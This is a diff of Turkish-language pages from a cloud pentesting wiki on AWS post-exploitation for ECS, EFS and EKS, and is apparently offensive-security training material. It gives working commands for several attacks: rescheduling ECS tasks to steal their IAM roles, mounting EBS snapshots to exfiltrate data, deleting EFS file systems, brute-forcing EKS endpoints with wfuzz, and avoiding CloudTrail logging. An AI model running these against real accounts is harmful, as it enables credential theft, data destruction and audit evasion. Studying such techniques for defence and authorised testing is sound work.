{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Rolleri
|
||||
|
||||
ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir**. **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\
|
||||
Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini nasıl alacağınız hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir.
|
||||
|
||||
### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme
|
||||
|
||||
Ayrıca, EC2, EC görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz**.
|
||||
|
||||
#### Konteynerleri mevcut hostta çalıştırma
|
||||
|
||||
Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncelleme** için yeterli **izinlere** sahip olacaktır. Bir saldırgan, bir örneğin **durumunu DRAINING** olarak değiştirebilir, ardından ECS **tüm görevleri ondan kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılır, bu da potansiyel olarak **saldırganın örneği içinde** olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Aynı teknik **EC2 örneğini kümeden kaydını silerek** de yapılabilir. Bu muhtemelen daha az gizli olacaktır, ancak **görevlerin diğer örneklerde çalıştırılmasını zorlayacaktır:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR konteynerlerinden hassas bilgileri çal
|
||||
|
||||
EC2 örneği muhtemelen **görüntüleri indirmesine** izin veren `ecr:GetAuthorizationToken` iznine de sahip olacaktır (içlerinde hassas bilgiler arayabilirsiniz).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+126
@@ -0,0 +1,126 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Rolleri
|
||||
|
||||
ECS'de bir **IAM rolü göreve atanabilir** container içinde çalışan göreve. **If** görev bir **EC2** örneği içinde çalıştırılıyorsa, **EC2 instance** üzerinde başka bir **IAM** rolü bağlı olur.\
|
||||
Bu, eğer bir ECS örneğini **compromise** edebilirseniz potansiyel olarak **ECR ve EC2 örneğine bağlı IAM rolünü elde edebileceğiniz** anlamına gelir. Bu kimlik bilgilerini nasıl alacağınıza dair daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **PUT isteğinin yanıtı** **hop limit of 1** olacak ve bu, EC2 örneği içindeki bir container'dan EC2 metadata'sına erişimi imkansız hale getirecektir.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Ayrıca, EC2, ECS görevlerini çalıştırmak için docker kullanır; bu yüzden node'a kaçabilirseniz veya **docker socket'e erişebilirseniz**, hangi **diğer containerların** çalıştırıldığını **kontrol edebilir**, hatta onların **içine girip** bağlı **IAM rollerini** **çalabilirsiniz**.
|
||||
|
||||
#### Mevcut host üzerinde konteynerleri çalıştırma
|
||||
|
||||
Dahası, **EC2 instance role** genellikle cluster içindeki node olarak kullanılan EC2 örneklerinin **container instance state'ini güncellemek** için yeterli **permissions**'a sahiptir. Bir saldırgan bir örneğin **state of an instance to DRAINING** olacak şekilde durumunu değiştirebilir; bu durumda ECS o örnekten **tüm görevleri kaldırır** ve **REPLICA** olarak çalıştırılan görevler **farklı bir instance'ta çalıştırılır,** potansiyel olarak saldırganın instance'ı içinde çalıştırılarak saldırganın **onların IAM rollerini** ve container içindeki olası hassas bilgileri **çalmasına** olanak tanır.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Aynı teknik **deregistering the EC2 instance from the cluster** ile yapılabilir. Bu potansiyel olarak daha az stealthy olabilir, ancak **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Görevlerin yeniden çalıştırılmasını zorlamak için son bir teknik, ECS'ye **task or container was stopped** şeklinde bildirmektir. Bunu yapmak için 3 potansiyel API vardır:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### ECR container'larından hassas bilgileri çal
|
||||
|
||||
EC2 instance muhtemelen `ecr:GetAuthorizationToken` iznine de sahip olacaktır; bu izin **imajları indirmesine** olanak tanır (içlerinde hassas bilgi arayabilirsiniz).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### Bir EBS snapshot'ını doğrudan bir ECS task'ına mount etme (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Yerel ECS–EBS entegrasyonunu (2024+) suistimal ederek mevcut bir EBS snapshot'ının içeriğini yeni bir ECS task/service içine doğrudan mount edin ve container içinden verilerini okuyun.
|
||||
|
||||
- Gereksinimler (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Bunlardan biri: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole üzerinde:
|
||||
- volume'lar için kullanılan ECS infrastructure role (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task definition tarafından referans verilen Task execution/Task rolleri
|
||||
- Eğer snapshot bir CMK ile şifrelenmişse: infra rolü için KMS izinleri (yukarıdaki AWS managed policy, AWS managed anahtarlar için gerekli KMS yetkilerini içerir).
|
||||
|
||||
- Etki: Snapshot'tan rastgele disk içeriklerini (ör. database dosyaları) container içinde okuyup ağ/loglar aracılığıyla exfiltrate edebilirsiniz.
|
||||
|
||||
Adımlar (Fargate örneği):
|
||||
|
||||
1) ECS altyapı rolünü oluşturun (yoksa) ve managed policy'yi ekleyin:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) `configuredAtLaunch` olarak işaretlenmiş bir volume ile bir task definition kaydedin ve bunu container içinde mount edin. Örnek (secret'i yazdırır sonra uyur):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) EBS snapshot'ını `volumeConfigurations.managedEBSVolume` aracılığıyla geçirerek bir servis oluşturun veya güncelleyin (infra rolünde iam:PassRole gerektirir). Örnek:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Görev başladığında, container yapılandırılmış mount yolunda (ör. `/loot`) snapshot içeriğini okuyabilir. Exfiltrate görevin ağı/günlükleri üzerinden.
|
||||
|
||||
Temizleme:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - EFS Son Sömürü
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağımlı olan uygulamalar ve kullanıcılar için EFS dosya sistemine erişimi kesintiye uğratabilir.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Olası Etki**: Dosya sistemi erişiminin kesilmesi ve kullanıcılar veya uygulamalar için potansiyel veri kaybı.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol açabilir ve dosya sistemine bağımlı uygulamaları etkileyebilir.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu güncelleyerek performansını etkileyebilir veya kaynak tükenmesine neden olabilir.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Olası Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Bir saldırgan erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Potansiyel Etki**: Yetkisiz erişim, veri ifşası veya değişikliği.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Bir saldırgan bir mount target'ı silebilir; bu, o mount target'a güvenen uygulamalar ve kullanıcılar için EFS dosya sistemine erişimi potansiyel olarak kesintiye uğratır.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Potential Impact**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için olası veri kaybı.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Bir saldırgan tüm EFS dosya sistemini silebilir; bu, veri kaybına yol açabilir ve dosya sistemine bağımlı uygulamaları etkileyebilir.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet aksaması.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Bir saldırgan, performansını etkilemek veya kaynakların tükenmesine neden olmak için throughput modu gibi EFS dosya sistemi özelliklerini güncelleyebilir.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
**Olası Etki**: Dosya sistemi performansının düşmesi veya kaynak tükenmesi.
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Bir saldırgan erişim noktaları oluşturabilir veya silebilir; bu, erişim kontrolünü değiştirerek kendisine dosya sistemine yetkisiz erişim sağlayabilir.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Potansiyel Etki**: Dosya sistemine yetkisiz erişim, verilerin ifşa edilmesi veya değiştirilmesi.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Daha fazla bilgi için kontrol edin
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Konsolundan küme listeleme
|
||||
|
||||
Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini** görüntüleyebilirsiniz ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### AWS Kubernetes Kümesine Bağlanma
|
||||
|
||||
- Kolay yol:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- O kadar kolay bir yol değil:
|
||||
|
||||
Eğer **`aws eks get-token --name <cluster_name>`** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e ihtiyacınız var** (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adına** ihtiyacınız var.
|
||||
|
||||
Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### AWS'den Kubernetes'e
|
||||
|
||||
**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **küme kimin tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **yolu yoktur**.
|
||||
|
||||
**AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır.
|
||||
|
||||
> [!WARNING]
|
||||
> Bu nedenle, **`aws-auth`** config map'ine **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**.
|
||||
|
||||
**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**.
|
||||
|
||||
### Kubernetes'ten AWS'ye
|
||||
|
||||
Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasına** izin vermek, onların AWS'de roller üstlenmelerine olanak tanır. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### JWT Token'dan GET Api Sunucu Uç Noktası Alma
|
||||
|
||||
JWT token'ını çözümleyerek küme kimliğini ve ayrıca bölgeyi alıyoruz.  EKS URL'sinin standart formatının olduğunu bilmek
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Herhangi bir 'iki karakter' ve 'sayı' kriterini açıklayan bir belge bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
Her durumda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Sonra wfuzz ile
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Unutmayın, & ile değiştirin.
|
||||
|
||||
### CloudTrail'ı Atlatma
|
||||
|
||||
Eğer bir saldırganın **EKS üzerinde yetkisi olan bir AWS** kimlik bilgilerini elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
|
||||
|
||||
Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail, çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**.
|
||||
|
||||
**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak, devre dışıdır).
|
||||
|
||||
### EKS Fidye?
|
||||
|
||||
Varsayılan olarak, **bir küme oluşturan kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir.
|
||||
|
||||
Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**.
|
||||
|
||||
> [!TIP]
|
||||
> Eğer küme **EC2 VM'leri** kullanıyorsa, **Node** üzerinden Yönetici ayrıcalıkları almak ve kümeyi kurtarmak mümkün olabilir.
|
||||
>
|
||||
> Aslında, eğer küme Fargate kullanıyorsa, EC2 düğümlerini alabilir veya her şeyi EC2'ye taşıyabilir ve düğümdeki token'lara erişerek kurtarabilirsiniz.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+143
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Daha fazla bilgi için bakınız
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Console üzerinden kümeyi listeleme
|
||||
|
||||
Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS console üzerinden **view Kubernetes objects** gerçekleştirebilirsiniz. ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### AWS Kubernetes Cluster'a Bağlanma
|
||||
|
||||
- Kolay yol:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- O kadar kolay olmayan yol:
|
||||
|
||||
Eğer **get a token**'ı **`aws eks get-token --name <cluster_name>`** ile alabiliyorsanız ama cluster bilgilerini almak için (describeCluster) izniniz yoksa, kendi **`~/.kube/config`** dosyanızı hazırlayabilirsiniz. Ancak tokena sahip olsanız bile bağlanmak için hâlâ **url endpoint to connect to** (eğer bir poddan JWT token almayı başardıysanız [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **name of the cluster**'a ihtiyacınız var.
|
||||
|
||||
Benim durumumda bilgiyi CloudWatch loglarında bulamadım, fakat **found it in LaunchTemaplates userData** ve **in EC2 machines in userData also** içinde buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin aşağıdaki örnekte (cluster adı cluster-name idi):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
